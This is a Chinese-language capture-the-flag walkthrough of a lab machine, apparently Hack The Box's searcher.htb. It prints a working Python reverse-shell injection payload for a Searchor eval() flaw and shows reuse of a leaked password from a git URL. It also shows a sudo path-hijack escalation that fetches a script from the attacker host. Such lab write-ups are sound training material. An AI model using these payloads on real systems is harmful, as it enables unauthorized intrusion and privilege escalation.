User Flag
常规nmap
起手:
nmap -A 10.10.11.208
扫到22和80端口开放,并存在提示:Did not follow redirect to http://searcher.htb。
直接访问http://10.10.11.208:80则跳转到http://searcher.htb:
直接修改hosts文件:
再次访问http://10.10.11.208:80:
看到下方的Powered by Flask and Searchor 2.4.0
,Google搜索一下Searchor有什么漏洞,找到了它:GitHub - jonnyzar/POC-Searchor-2.4.2: eval() Exploit POC for Searchor 2.4.2 and lower
本地运行nc
:
nc -lv 9001
在搜索框输入:
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.3',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
成功弹shell后获得User Flag~
System Flag
用上次做题学到的sudo -l
起手试试:
看来行不通,ls -la
看看/var/www/app
目录下有什么:
http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
,一个可疑的链接。
问问ChatGPT:
哦?包含了账号密码?cody:jh1usoih2bkjaspwe92
原来是一对账号密码!但有啥用呢,没想明白……
我在这卡了很久,也用了常见的Linux提权辅助脚本,但并没有什么发现。😭
最终还是回到了sudo -l -S
,此时需要输入密码,使用jh1usoih2bkjaspwe92
来碰了碰运气:
成啦!svc
账号的密码也是jh1usoih2bkjaspwe92
。还记得一开始扫描到开放的22端口吗?在后面的操作中可以直接使用ssh连接,得到一个更好的shell。
让我们来看看system-checkup.py
是用来干嘛的:
可以看到前两个参数和docker相关,对于解体的作用不详;使用full-checkup
参数则报错。
在这又卡了好久,最后切换到/opt/scripts/
目录发现在此目录下存在full-checkup.sh
,且能正确运行/opt/scripts/system-checkup.py full-checkup
:
似乎存在一种可能:full-checkup
参数需要调用当前目录下的full-checkup.sh
文件。
那么!设full-checkup.sh
=
#!/bin/bash
cat /root/root.txt
再回到/home/svc
目录,使用wget http://10.10.16.10:8000/full-checkup.sh
,再chmod +x full-checkup.sh
,最后sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
:
拿下!